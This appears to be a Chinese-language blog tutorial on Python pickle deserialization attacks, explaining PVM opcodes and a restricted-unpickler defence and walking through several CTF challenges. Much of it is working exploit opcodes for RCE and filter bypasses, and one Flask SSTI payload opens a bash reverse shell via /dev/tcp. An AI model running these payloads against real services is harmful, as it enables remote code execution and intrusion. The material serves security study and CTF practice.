Python pickle unserialize summary

pickle 基础

image

pickle 是一种栈语言,有不同的编写方式,基于一个轻量的 PVM(Pickle Virtual Machine)。

  • 指令处理器

    从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止。最终留在栈顶的值将被作为反序列化对象返回。

  • stack

    由 Python 的 list 实现,被用来临时存储数据、参数以及对象。

  • memo

    由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储。

类似于我们在 PHP 中的 serialize 和 unserialize,如果 unserialize 的输入可控我们就可能可以进行恶意的攻击。

python 提供了 pickle 和 cPickle 两个库 来进行 pickle 反序列化的支持。

能够被序列化的内容

下列类型可以被打包,都是有自己的指令码的,可以对照一下下面的指令集:

  • None、True 和 False
  • 整数、浮点数、复数
  • str、byte、bytearray
  • 只包含可打包对象的集合,包括 tuple、list、set 和 dict
  • 定义在模块顶层的函数(使用 def 定义,lambda 函数则不可以)
  • 定义在模块顶层的内置函数
  • 定义在模块顶层的类
  • 某些类实例,这些类的 dict 属性值或 __getstate__() 函数的返回值可以被打包(详情参阅 打包类实例 这一段)。

数据流格式

pickle 所使用的数据格式仅可用于 Python。这样做的好处是没有外部标准给该格式强加限制,比如 JSON 或 XDR(不能表示共享指针)标准;但这也意味着非 Python 程序可能无法重新读取 pickle 封存的 Python 对象。

默认情况下,pickle 格式使用相对紧凑的二进制来存储。如果需要让文件更小,可以高效地 压缩 由 pickle 封存的数据。

pickletools 模块包含了相应的工具用于分析 pickle 生成的数据流。pickletools 源码中包含了对 pickle 协议使用的操作码的大量注释。

当前共有 6 种不同的协议可用于封存操作。 使用的协议版本越高,读取所生成 pickle 对象所需的 Python 版本就要越新。

  • v0 版协议是原始的“人类可读”协议,并且向后兼容早期版本的 Python。
  • v1 版协议是较早的二进制格式,它也与早期版本的 Python 兼容。
  • 第 2 版协议是在 Python 2.3 中引入的。 它为 新式类 提供了更高效的封存机制。 请参考 PEP 307 了解第 2 版协议带来的改进的相关信息。
  • v3 版协议是在 Python 3.0 中引入的。 它显式地支持 <span class="pre">bytes</span> 字节对象,不能使用 Python 2.x 解封。这是 Python 3.0-3.7 的默认协议。
  • v4 版协议添加于 Python 3.4。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化。它是Python 3.8使用的默认协议。有关第 4 版协议带来改进的信息,请参阅 PEP 3154
  • 第 5 版协议是在 Python 3.8 中加入的。 它增加了对带外数据的支持,并可加速带内数据处理。 请参阅 PEP 574 了解第 5 版协议所带来的改进的详情。

常用方法接口

pickle.dump(obj, file, protocol=None, *, fix_imports=True)

将打包好的对象 obj 写入文件 中,其中 protocol 为 pickling 的协议版本(下同)。

pickle.dumps(obj, protocol=None, *, fix_imports=True)

将 obj 打包以后的对象作为 bytes 类型直接返回。

pickle.load(file, *, fix_imports=True, encoding="ASCII", errors="strict")

文件 中读取二进制字节流,将其反序列化为一个对象并返回。

pickle.loads(data, *, fix_imports=True, encoding="ASCII", errors="strict")

data 中读取二进制字节流,将其反序列化为一个对象并返回。

object.__reduce__()

__reduce__() 其实是 object类中的一个魔术方法,我们可以通过重写类的 object.__reduce__() 函数,使之在被实例化时按照重写的方式进行。

Python 要求该方法返回一个 字符串或者元组 。如果返回元组(callable, ([para1,para2...])[,...]) ,那么每当该类的对象被反序列化时,该 callable 就会被调用,参数为para1para2 ... 后面再详细解释

指令集 opcode

MARK           = b'('   # push special markobject on stack
STOP           = b'.'   # every pickle ends with STOP
POP            = b'0'   # discard topmost stack item
POP_MARK       = b'1'   # discard stack top through topmost markobject
DUP            = b'2'   # duplicate top stack item
FLOAT          = b'F'   # push float object; decimal string argument
INT            = b'I'   # push integer or bool; decimal string argument
BININT         = b'J'   # push four-byte signed int
BININT1        = b'K'   # push 1-byte unsigned int
LONG           = b'L'   # push long; decimal string argument
BININT2        = b'M'   # push 2-byte unsigned int
NONE           = b'N'   # push None
PERSID         = b'P'   # push persistent object; id is taken from string arg
BINPERSID      = b'Q'   #  "       "         "  ;  "  "   "     "  stack
REDUCE         = b'R'   # apply callable to argtuple, both on stack
STRING         = b'S'   # push string; NL-terminated string argument
BINSTRING      = b'T'   # push string; counted binary string argument
SHORT_BINSTRING= b'U'   #  "     "   ;    "      "       "      " < 256 bytes
UNICODE        = b'V'   # push Unicode string; raw-unicode-escaped'd argument
BINUNICODE     = b'X'   #   "     "       "  ; counted UTF-8 string argument
APPEND         = b'a'   # append stack top to list below it
BUILD          = b'b'   # call __setstate__ or __dict__.update()
GLOBAL         = b'c'   # push self.find_class(modname, name); 2 string args
DICT           = b'd'   # build a dict from stack items
EMPTY_DICT     = b'}'   # push empty dict
APPENDS        = b'e'   # extend list on stack by topmost stack slice
GET            = b'g'   # push item from memo on stack; index is string arg
BINGET         = b'h'   #   "    "    "    "   "   "  ;   "    " 1-byte arg
INST           = b'i'   # build & push class instance
LONG_BINGET    = b'j'   # push item from memo on stack; index is 4-byte arg
LIST           = b'l'   # build list from topmost stack items
EMPTY_LIST     = b']'   # push empty list
OBJ            = b'o'   # build & push class instance
PUT            = b'p'   # store stack top in memo; index is string arg
BINPUT         = b'q'   #   "     "    "   "   " ;   "    " 1-byte arg
LONG_BINPUT    = b'r'   #   "     "    "   "   " ;   "    " 4-byte arg
SETITEM        = b's'   # add key+value pair to dict
TUPLE          = b't'   # build tuple from topmost stack items
EMPTY_TUPLE    = b')'   # push empty tuple
SETITEMS       = b'u'   # modify dict by adding topmost key+value pairs
BINFLOAT       = b'G'   # push float; arg is 8-byte float encoding

TRUE           = b'I01\n'  # not an opcode; see INT docs in pickletools.py
FALSE          = b'I00\n'  # not an opcode; see INT docs in pickletools.py

# Protocol 2

PROTO          = b'\x80'  # identify pickle protocol
NEWOBJ         = b'\x81'  # build object by applying cls.__new__ to argtuple
EXT1           = b'\x82'  # push object from extension registry; 1-byte index
EXT2           = b'\x83'  # ditto, but 2-byte index
EXT4           = b'\x84'  # ditto, but 4-byte index
TUPLE1         = b'\x85'  # build 1-tuple from stack top
TUPLE2         = b'\x86'  # build 2-tuple from two topmost stack items
TUPLE3         = b'\x87'  # build 3-tuple from three topmost stack items
NEWTRUE        = b'\x88'  # push True
NEWFALSE       = b'\x89'  # push False
LONG1          = b'\x8a'  # push long from < 256 bytes
LONG4          = b'\x8b'  # push really big long

_tuplesize2code = [EMPTY_TUPLE, TUPLE1, TUPLE2, TUPLE3]

# Protocol 3 (Python 3.x)

BINBYTES       = b'B'   # push bytes; counted binary string argument
SHORT_BINBYTES = b'C'   #  "     "   ;    "      "       "      " < 256 bytes

# Protocol 4

SHORT_BINUNICODE = b'\x8c'  # push short string; UTF-8 length < 256 bytes
BINUNICODE8      = b'\x8d'  # push very long string
BINBYTES8        = b'\x8e'  # push very long bytes string
EMPTY_SET        = b'\x8f'  # push empty set on the stack
ADDITEMS         = b'\x90'  # modify set by adding topmost stack items
FROZENSET        = b'\x91'  # build frozenset from topmost stack items
NEWOBJ_EX        = b'\x92'  # like NEWOBJ but work with keyword only arguments
STACK_GLOBAL     = b'\x93'  # same as GLOBAL but using names on the stacks
MEMOIZE          = b'\x94'  # store top of the stack in memo
FRAME            = b'\x95'  # indicate the beginning of a new frame

# Protocol 5

BYTEARRAY8       = b'\x96'  # push bytearray
NEXT_BUFFER      = b'\x97'  # push next out-of-band buffer
READONLY_BUFFER  = b'\x98'  # make top of stack readonly

opcode demo

demo

序列化、反序列化的背后通常都是面向对象编程的大概念,我们可以简单写一个类,看一下它的 pickle 序列化的内容

import pickle

class Person(): #类名
    def __init__(self):
        self.age=18 #属性
        self.name="Pickle"

p=Person()
opcode=pickle.dumps(p)
print(opcode)

# b'\x80\x03c__main__\nPerson\nq\x00)\x81q\x01}q\x02(X\x03\x00\x00\x00ageq\x03K\x12X\x04\x00\x00\x00nameq\x04X\x06\x00\x00\x00Pickleq\x05ub.'

我们的序列化内容是一串基于上面提到的操作码的 bytes,我们可以利用 pickletools 将这里的 opcode 转化成我们更易读的形式

import opcode
import pickletools

opcode = b'\x80\x03c__main__\nPerson\nq\x00)\x81q\x01}q\x02(X\x03\x00\x00\x00ageq\x03K\x12X\x04\x00\x00\x00nameq\x04X\x06\x00\x00\x00Pickleq\x05ub.'
pickletools.dis(opcode)

'''
    0: \x80 PROTO      3
    2: c    GLOBAL     '__main__ Person'
   19: q    BINPUT     0
   21: )    EMPTY_TUPLE
   22: \x81 NEWOBJ
   23: q    BINPUT     1
   25: }    EMPTY_DICT
   26: q    BINPUT     2
   28: (    MARK
   29: X        BINUNICODE 'age'
   37: q        BINPUT     3
   39: K        BININT1    18
   41: X        BINUNICODE 'name'
   50: q        BINPUT     4
   52: X        BINUNICODE 'Pickle'
   63: q        BINPUT     5
   65: u        SETITEMS   (MARK at 28)
   66: b    BUILD
   67: .    STOP
highest protocol among opcodes = 2
'''

对照上面的操作码表还是很容易看懂的

Pker

https://github.com/EddieIvan01/pker 也可以使用这个工具来生成,在后续部分操作码被限制的时候某些情况下还是很好用的

漏洞产生原因

用户可控的反序列化入口点。

漏洞利用

在能够传入可控的 pickle.loads 的 data 的大前提下,我们就可以构想出以下几种攻击场景。

操控实例化对象的属性

假设有如下内容限制用户权限:

import pickle

class User:
    def __init__(self,admin,guest):
        self.admin=admin
        self.guest=guest

假设正常我们以访客登录时会传入如下 pickle 序列化内容

import pickle

class User:
    def __init__(self):
        self.admin=False
        self.guest=True

u = User()
print(pickle.dumps(u))

# b'\x80\x03c__main__\nUser\nq\x00)\x81q\x01}q\x02(X\x05\x00\x00\x00adminq\x03\x89X\x05\x00\x00\x00guestq\x04\x88ub.'

'''
    0: \x80 PROTO      3
    2: c    GLOBAL     '__main__ User'
   17: q    BINPUT     0
   19: )    EMPTY_TUPLE
   20: \x81 NEWOBJ
   21: q    BINPUT     1
   23: }    EMPTY_DICT
   24: q    BINPUT     2
   26: (    MARK
   27: X        BINUNICODE 'admin'
   37: q        BINPUT     3
   39: \x89     NEWFALSE
   40: X        BINUNICODE 'guest'
   50: q        BINPUT     4
   52: \x88     NEWTRUE
   53: u        SETITEMS   (MARK at 26)
   54: b    BUILD
   55: .    STOP
highest protocol among opcodes = 2
'''

那么我们对登陆时的 \x89 \x88 进行调换,即可得到如下实例化结果:

import opcode
import pickle
import pickletools

class User:
    def __init__(self,admin,guest):
        self.admin=admin
        self.guest=guest

opcode = b'\x80\x03c__main__\nUser\nq\x00)\x81q\x01}q\x02(X\x05\x00\x00\x00adminq\x03\x88X\x05\x00\x00\x00guestq\x04\x89ub.'
#pickletools.dis(opcode)

fakeUser = pickle.loads(opcode)
print(fakeUser.admin,fakeUser.guest)

# True False

变量覆盖

我们也可以直接进行变量覆盖,示例

import pickle
import secret

print("secret:"+secret.secret)

opcode=b'''c__main__
secret
(S'secret'
S'Hacker!!!'
db.'''
fake=pickle.loads(opcode)

print("fakesecret:"+fake.secret)

#secret:sp4c1ous
#fakesecret:Hacker!!!

用到的 opcode:

opcode=b'''c__main__
secret
(S'secret' # secret 内的 secret 属性
S'Hacker!!!' # 指定要替换的内容
db.'''  # d创建空的dict然后 b 取前一个 Hacker!!! 进行update 这里的具体解释可以看到下面的 b 绕过 R 的部分

RCE

在攻击中我们的目的肯定最终是利用序列化的内容实现我们想要实现的操作,这里以RCE为例进行介绍,基本的构造如下:

c<module>
<callable>
(<args>
tR

填充上内容也就是:

cos
system #引入 os 模块的 system 方法,这里实际上是一步将函数添加到 stack 的操作
(S'ls' # 把当前 stack 存到 metastack,清空 stack,再将 'ls' 压入 stack
tR. # t 也就是将 stack 中的值弹出并转为 tuple,把 metastack 还原到 stack,再将 tuple 压入 stack
​    # R 的内容就成为了 system(*('ls',)) ,然后 . 代表结束,返回当前栈顶元素
<=> __import__('os').system(*('ls',))

这样就是一个最基础的 getshell 的构造,这里要回去看一下指令集,看一下这里用到的几种指令码。

其中 c 操作码指向的实际上是一个 self.find_class(modname, name); 可以在源码中找到

    def find_class(self, module, name):
        # Subclasses may override this.
        if self.proto < 3 and self.fix_imports:
            if (module, name) in _compat_pickle.NAME_MAPPING:
                module, name = _compat_pickle.NAME_MAPPING[(module, name)]
            elif module in _compat_pickle.IMPORT_MAPPING:
                module = _compat_pickle.IMPORT_MAPPING[module]
        __import__(module, level=0)
        if self.proto >= 4:
            return _getattribute(sys.modules[module], name)[0]
        else:
            return getattr(sys.modules[module], name)

可以在 load_global 中看到具体的实现,其中的 getattr 是通过 sys.modules 获取变量名的或者模块的,sys.modules是一个全局字典,我们可以从其中 get 到我们想要的属性,只要 python 启动 sys.modules 就会将模块导入字典中。

import sys
import secret

print(getattr(sys.modules['__main__'],'secret'))
# <module 'secret' from 'c:\\Users\\sp4c1ous\\Desktop\\secret.py'>

这样的 opcode 被我们 pickle.loads 的话就会导致 RCE

image

我们还可以重写类的 object.__reduce__() 函数,使之在被实例化时按照重写的方式进行,对应opcode当中的R指令

import pickle
import os

class Test(object):
    def __reduce__(self):
        return (os.system,('calc',))

print(pickle.dumps(Test(), protocol=0))

# b'cnt\nsystem\np0\n(Vcalc\np1\ntp2\nRp3\n.'

利用 pickle 的 __reduce__ 可以直接用它的操作模式实现我们上面手搓的 __import__('os').system(*('ls',)) 的构造。( 缺点:只能执行单一的函数,很难构造复杂的操作 )

但是这种指令码在现在的 CTF 中已经很难生效了,通常都会对指令码进行过滤,需要我们结合对整个过程的理解来进行绕过。

在pickle中,和函数执行的字节码有三个:RioR 已经说过了,我们具体再看看 io

  • i 其实就相当于 c 和 o 的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)

    INST           = b'i'   # build & push class instance
    
    GLOBAL         = b'c'   # push self.find_class(modname, name); 2 string args
    OBJ            = b'o'   # build & push class instance

    示例:

    python opcode=b'''(S'calc' ios system .'''

  • o:寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)

    python opcode=b'''(cos system S'calc' o.'''

注意:部分Linux系统下和Windows下的opcode字节流并不兼容,比如Windows下执行系统命令函数为os.system(),在部分Linux下则为posix.system()

同时,我们可以发现pickle.loads 是可以自动 import 的,这一点为我们的攻击提供了方便。

攻击情景

我们可以看到 opcode 都会以 . 结束,我们在程序正常的 opcode 之后去掉 . 再拼接上我们的内容即可命令执行

import opcode
import pickle
import pickletools

class User:
    def __init__(self,admin,guest):
        self.admin=admin
        self.guest=guest

opcode = b'\x80\x03c__main__\nUser\nq\x00)\x81q\x01}q\x02(X\x05\x00\x00\x00adminq\x03\x88X\x05\x00\x00\x00guestq\x04\x89ubcnt\nsystem\np0\n(Vcalc\np1\ntp2\nRp3\n.'

fakeUser = pickle.loads(opcode)

image

漏洞修复

和其他的反序列化漏洞一样,永远不要相信用户的输入,确保 unpickle 的内容不会来自于不受信任的或者未经验证的来源的数据。

在这一点之外,我们还可以通过重写 Unpickler.find_class() 来限制全局变量:

import builtins
import io
import pickle

safe_builtins = {
    'range',
    'complex',
    'set',
    'frozenset',
    'slice',
}

class RestrictedUnpickler(pickle.Unpickler):

    #重写了find_class方法
    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name in safe_builtins:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))

def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()

opcode=b"cos\nsystem\n(S'echo hello world'\ntR."
restricted_loads(opcode)

###结果如下
Traceback (most recent call last):
...
_pickle.UnpicklingError: global 'os.system' is forbidden

以上例子通过重写Unpickler.find_class()方法,限制调用模块只能为builtins,且函数必须在白名单内,否则抛出异常。这种方式限制了调用的模块函数都在白名单之内,这就保证了Python在unpickle时的安全性。

漏洞 bypass

绕过find_class函数

我们在前面学习到了 c 操作码调用的 find_class 的逻辑,我们可以看到上面官方的修复方法中也是对 find_class 进行白名单限制,比如这里我们限制了 builtins ,但是显然我们可以通过自己构造类似 find_class 的逻辑进行 payload 构造,我们 c 操作码只需要对 builtins 进行操作就可以构造出 payload

我们可以利用 如下代码进行绕过

opcode=b'''cbuiltins
getattr
p0                    #取到 getattr
(cbuiltins
dict
S'get'
tRp1
cbuiltins
globals
)Rp2                  # getattr(dict, 'get')
00g1
(g2
S'__builtins__'       # get(__import__('builtins').globals(), '__builtins__')
tRp3
0g0
(g3
S'eval'
tR(S'__import__("os").system("calc")'    # 取到 eval 然后实现 RCE
tR.
'''

R 被过滤的时候,构造如下

opcode=b'\x80\x03(cbuiltins\ngetattr\np0\ncbuiltins\ndict\np1\nX\x03\x00\x00\x00getop2\n0(g2\n(cbuiltins\nglobals\noX\x0C\x00\x00\x00__builtins__op3\n(g0\ng3\nX\x04\x00\x00\x00evalop4\n(g4\nX\x21\x00\x00\x00__import__("os").system("calc")o00.'#最后两个0是栈为空,否则会报错

'''
    0: \x80 PROTO      3
    2: (    MARK
    3: c        GLOBAL     'builtins getattr'
   21: p        PUT        0
   24: c        GLOBAL     'builtins dict'
   39: p        PUT        1
   42: X        BINUNICODE 'get'
   50: o        OBJ        (MARK at 2)
   51: p    PUT        2
   54: 0    POP
   55: (    MARK
   56: g        GET        2
   59: (        MARK
   60: c            GLOBAL     'builtins globals'
   78: o            OBJ        (MARK at 59)
   79: X        BINUNICODE '__builtins__'
   96: o        OBJ        (MARK at 55)
   97: p    PUT        3
  100: (    MARK
  101: g        GET        0
  104: g        GET        3
  107: X        BINUNICODE 'eval'
  116: o        OBJ        (MARK at 100)
  117: p    PUT        4
  120: (    MARK
  121: g        GET        4
  124: X        BINUNICODE '__import__("os").system("whoami")'
  162: o        OBJ        (MARK at 120)
  163: 0    POP
  164: 0    POP
  165: .    STOP
highest protocol among opcodes = 2
'''

image

R 指令被过滤

b

上面 RCE 中我们提到了,我们可以使用 oi 来进行绕过,这里重点提一下 b

BUILD          = b'b'   # call __setstate__ or __dict__.update()

我们可以看到 b 指令码的作用,这里会调用到 __setstate__

__setstate__官方文档中,如果想要存储对象的状态,就可以使用__getstat____setstat__方法。由于 pickle 同样可以存储对象属性的状态,所以这两个魔术方法主要是针对那些不可被序列化的状态,如一个被打开的文件句柄open(file,'r')

和他成对的还有 __getstate__ ,被反序列化时调用__setstate__,被序列化时调用__getstate__。重写时可以省略__setstate__,但__getstate__必须返回一个字典。如果__getstate____setstate__都被省略, 那么就默认自动保存和加载对象的属性字典__dict__

示例:

import pickle

class Person:
    def __init__(self, name, age=0):
        self.name = name
        self.age = age

    def __str__(self):
        return f"name: {self.name}\nage: {self.age}"

class Child(Person):
    def __setstate__(self, state):
        print("invoke __setstate__")
        self.name=state
        self.age=10

    def __getstate__(self):
        print("invoke __getstate__")
        return "Child"

child=Child("TEST",123)
print(child)
#name: TEST
#age: 123

opcode=pickle.dumps(child,protocol=0)
print(opcode)
#invoke __getstate__
#b'ccopy_reg\n_reconstructor\np0\n(c__main__\nChild\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\nVChild\np5\nb.'

c1=pickle.loads(opcode)
print(c1)
#invoke __setstate__
#name: Child
#age: 10

在 pickle 源码中,字节码b对应的是load_build()函数

    def load_build(self):
        stack = self.stack
        state = stack.pop()
        # 首先获取栈上的字节码 b 前的一个元素,对于对象来说,该元素一般是存储有对象属性的dict
        inst = stack[-1]
        #获取该字典中键名为"__setstate__"的value
        setstate = getattr(inst, "__setstate__", None)
        #如果存在,则执行value(state)
        if setstate is not None:
            setstate(state)
            return
        slotstate = None
        if isinstance(state, tuple) and len(state) == 2:
            state, slotstate = state
        #如果"__setstate__"为空,则state与对象默认的__dict__合并,这一步其实就是将序列化前保存的持久化属性和对象属性字典合并
        if state:
            inst_dict = inst.__dict__
            intern = sys.intern
            for k, v in state.items():
                if type(k) is str:
                    inst_dict[intern(k)] = v
                else:
                    inst_dict[k] = v
        #如果__setstate__和__getstate__都没有设置,则加载默认__dict__
        if slotstate:
            for k, v in slotstate.items():
                setattr(inst, k, v)
    dispatch[BUILD[0]] = load_build

根据上面代码的逻辑我们可以进行如下构造:

o}(S"__setstate__"    # } 压入空dict __setstate__,然后 c push进去我们的 os.system
cos
system
ubS"calc"  # 执行第一次 b ,因为现在并没有 b ,所以执行 __dict__.update,也就是将我们前面的 {"__setstate__":os.system} 写入了
             # 压入命令再次执行 b 由于已经有了__setstate__,所以会将栈中字节码 b 的前一个元素当作 state,执行__setstate__(state),
b.

测试demo

import pickle

class Person:
    def __init__(self,age):
        self.age=age

opcode=b'''(c__main__
Person
I18
o}(S"__setstate__"
cos
system
ubS"calc"
b.'''

p=pickle.loads(opcode)

'''
    0: (    MARK
    1: c        GLOBAL     '__main__ Person'
   18: I        INT        18
   22: o        OBJ        (MARK at 0)
   23: }    EMPTY_DICT
   24: (    MARK
   25: S        STRING     '__setstate__'
   41: c        GLOBAL     'os system'
   52: u        SETITEMS   (MARK at 24)
   53: b    BUILD
   54: S    STRING     'calc'
   62: b    BUILD
   63: .    STOP
highest protocol among opcodes = 1
'''

image

利用 python 内置函数绕过

这一部分就是考验 python 的基础了,题目的话可以参考 美团CTF 2022 ezpickle 和 蓝帽杯2022 file_session

关于 python 的内置函数可以移步官方文档 https://docs.python.org/zh-cn/3/library/functions.html,我们需要在这里面找到可以进行命令执行的函数,这里给出两个

for x in map.__new__(map, eval, ['print(\'map\')']):  
    pass

for x in filter.__new__(filter, eval, ['print(\'filter\')']):  
    pass

如上,但是这里是有一点问题的,这两个函数构建一个新的迭代器

image

image

这里构建的迭代器是不会立即触发的,在 python 中好像叫懒惰,我们需要再对迭代对象进行一步 __next__ 才能将他触发

r = map(eval, ['print(\'1\')'])
r.__next__()

r = filter(eval, ['print(\'2\')'])
r.__next__()

image

__next__ 我们可以对他进行一个跟踪,看文档就可以

image

Python/C API 中 Python 对象类型结构体的 tp_iternext 槽位

image

可以看到最下面,这里实际上也就是对应着 PyIter_Next

image

我们现在想要构造一个能够被调用的 pickle 反序列化的 payload 的时候,触发的方式就不能是再在后面拼接 __next__() 了,我们需要找一个能够触发 PyIter_Next 的方法:

bytes.__new__(bytes, map.__new__(map, eval, ['print(1)']))  # bytes_new->PyBytes_FromObject->_PyBytes_FromIterator->PyIter_Next
tuple.__new__(tuple, map.__new__(map, exec, ["print('1')"]))  # tuple_new_impl->PySequence_Tuple->PyIter_Next

也就是

opcode=b'''c__builtin__
map
p0
0(S'whoami'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
tuple
p4
(g3
t\x81.'''

pickle.loads(opcode)

opcode=b'''c__builtin__
map
p0
0(S'whoami'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
bytes
p4
(g3
t\x81.'''

pickle.loads(opcode)

用到的核心其实就是

NEWOBJ         = b'\x81'  # build object by applying cls.__new__ to argtuple

敏感字符 bypass

S

S 操作码本身是 String ,是支持十六进制的识别的

S'flag' => S'\x66\x6c\x61\x67'
V
UNICODE        = b'V'   # push Unicode string; raw-unicode-escaped'd argument

在指令集中存在一个 V 用于操作 Unicode 字符,对原本的 S 进行替换后即可在单引号内使用 Unicode 编码

S'flag' => V'\u0066\u006C\u0061\u0067'
利用内置函数取关键字

image

我们可以用 dir 列出 admin 模块的所有属性,我们需要的 secret 属性位于最后的位置,这个时候我们就可以利用函数将这里的 secret 取出来

print(next(reversed(dir(sys.modules['admin']))))

#secret

reversed 函数将 dir 得到的列表逆序,然后使用 next 取第一个即可,写到 opcode 中就是如下构造

(((((c__main__
admin
i__builtin__
dir
i__builtin__
reversed
i__builtin__
next
.

flask 框架下结合 SSTI 进行 bypass

简单放一下 payload,大体的思路就是调用 flask.templating 的 render_template_string 来传入 SSTI 的相关 paylaod

payload="cflask.templating\nrender_template_string\np0\n(S\"&#123;% for x in (().__class__.__base__.__subclasses__()) %&#125;&#123;%if x.__name__ =='catch_warnings'%&#125;&#123;&#123;x.__repr__.im_func.func_globals.linecache.os.system('bash -c \"bash -i >& /dev/tcp/172.17.0.1/12345 0>&1\" &')&#125;&#125;&#123;%endif%&#125;&#123;%endfor%&#125;\"\np1\ntp2\nRp3\n."

题目整理

强网杯 2022 crash

题目给出了源码

import base64

# import sqlite3

import pickle
from flask import Flask, make_response,request, session
import admin
import random

app = Flask(__name__,static_url_path='')
app.secret_key=random.randbytes(12)

class User:
    def __init__(self, username,password):
        self.username=username
        self.token=hash(password)

def get_password(username):
    if username=="admin":
        return admin.secret
    else:
        # conn=sqlite3.connect("user.db")
        # cursor=conn.cursor()
        # cursor.execute(f"select password from usertable where username='{username}'")
        # data=cursor.fetchall()[0]
        # if data:
        #     return data[0]
        # else:
        #     return None
        return session.get("password")

@app.route('/balancer', methods=['GET', 'POST'])
def flag():
    pickle_data=base64.b64decode(request.cookies.get("userdata"))
    if b'R' in pickle_data or b"secret" in pickle_data:
        return "You damm hacker!"
    os.system("rm -rf *py*")
    userdata=pickle.loads(pickle_data)
    if userdata.token!=hash(get_password(userdata.username)):
         return "Login First"
    if userdata.username=='admin':
        return "Welcome admin, here is your next challenge!"
    return "You're not admin!"

@app.route('/login', methods=['GET', 'POST'])
def login():
    resp = make_response("success")
    session["password"]=request.values.get("password")
    resp.set_cookie("userdata", base64.b64encode(pickle.dumps(User(request.values.get("username"),request.values.get("password")),2)), max_age=3600)
    return resp

@app.route('/', methods=['GET', 'POST'])
def index():
    return open('source.txt',"r").read()

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

这里我们只写用到 pickle 反序列化的部分,我们希望通过覆盖属性的方式来获得一个已知的 secret,可以看到黑名单:

if b'R' in pickle_data or b"secret" in pickle_data:

不能用 R 指令码,不能含有要覆盖的 secret 关键字,绕过这两处即可

b'''capp
admin
(Vsecr\u0065t
I1
db0(capp
User
S"admin"
I1
o.'''

或者

b'''capp
admin
(S'\x73ecret'
I1
db0(capp
User
S"admin"
I1
o.'''

再或者

opcode = b'''c__main__
admin
(((((c__main__
admin
i__builtin__
dir
i__builtin__
reversed
i__builtin__
next
I1
db(S'admin'
I1
i__main__
User
.'''

Code-Breaking 2018 picklecode

https://github.com/phith0n/code-breaking/blob/master/2018/picklecode

起环境之后可以看到:

image

直接审计源码,使用的是 django 模板,很简单可以看出来是一个 pickle 反序列化,映入眼帘的 manger.py 中就可以看到写好的 PickleSerializer

image

添加了一系列的黑名单,可以在 setting 下的 SESSION_SERIALIZER 中找到调用

image

这里看过 P 牛的 WP 后补充一下,SESSION_ENGINE 指的是 Django 使用时将用户认证信息存储在哪里,在一般的 Django 项目中很少看到对这两个值进行设置,默认Django项目中,这两个值分别是:django.contrib.sessions.backends.dbdjango.contrib.sessions.serializers.JSONSerializer,显然默认 Django 的 session 是使用 json 的形式,存储在数据库里。

简单理解的话就是 用户的session对象先由SESSION_SERIALIZER指定的方式转换成一个字符串,再由SESSION_ENGINE指定的方式存储到某个地方。

继续审计,我们可以在 challenge\views.py 中找到可控点,这里直接被拼接进了 模板渲染,显然会存在一个模板注入的漏洞

image

Django 的模板引擎沙箱其实一直是很安全的,也就是说即使你让用户控制了模板或模板的一部分,造成模板注入漏洞,也无法通过这个漏洞来执行代码。但是我们可以利用这里获取一些敏感信息。

常用的 Django 格式化字符串的 payload:

{user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}
{user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}

思路是一样的,但是和格式化字符串漏洞不同,Django的模板引擎有一定限制,比如我们无法读取用下划线开头的属性,所以这里的两种 payload 都是不能用的。

这个 payload 我们可以通过调试得到,在 debug 里面一点点找

image

很累眼

request.user.groups.source_field.opts.app_config.module.settings.SECRET_KEY

image

这样就得到了 secret_key

zs%o-mvuihtk6g4pgd+xpa&1hh9%&ulnf!@9qx8_y5kk+7^cvm

这里是第一个沙箱的内容,第二个沙箱就是我们的 pickle 了,也就是 SESSION_SERIALIZER = 'core.serializer.PickleSerializer'

这里的黑名单限制的是 module 必须为 builtins,同时name 中不能有 {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

我们通过 builtins.getattr('builtins', 'eval') 取 eval 方法就可以绕过这里的检测了

opcode = b'''cbuiltins
getattr         # 使用c,获取 getattr 这个可执行对象
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1            # 用dict.get来从globals的结果中拿到上下文里的builtins对象,并将这个对象放置在memo[1]
cbuiltins
getattr
(g1
S'eval'         # 利用得到的 builtins 对象调用 getattr('builtins', 'eval')
tR(S'__import__("os").system("calc")' 写入 eval 的参数
tR.
'''

image

SekaiCTF 2022 Bottle Poem

image

image

可以猜测这里存在一个任意文件读取,直接读 ../app.py 是 No,不过可以读到 /proc/self/cmdline

image

然后读绝对路径就可以读源码了

from bottle import route, run, template, request, response, error
from config.secret import sekai
import os
import re

@route("/")
def home():
    return template("index")

@route("/show")
def index():
    response.content_type = "text/plain; charset=UTF-8"
    param = request.query.id
    if re.search("^../app", param):
        return "No!!!!"
    requested_path = os.path.join(os.getcwd() + "/poems", param)
    try:
        with open(requested_path) as f:
            tfile = f.read()
    except Exception as e:
        return "No This Poems"
    return tfile

@error(404)
def error404(error):
    return template("error")

@route("/sign")
def index():
    try:
        session = request.get_cookie("name", secret=sekai)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=sekai)
            return template("guest", name=session["name"])
        if session["name"] == "admin":
            return template("admin", name=session["name"])
    except:
        return "pls no hax"

if __name__ == "__main__":
    os.chdir(os.path.dirname(__file__))
    run(host="0.0.0.0", port=8080)

稍微审计一下就可以发现,这里没有使用常用的 flask,用了一个叫 bottle 的东西,可能是我们的突破点,然后这里还有一个 config.secret 也就是 /app/config/secret.py,后续也有一个 session 用户的问题。

image

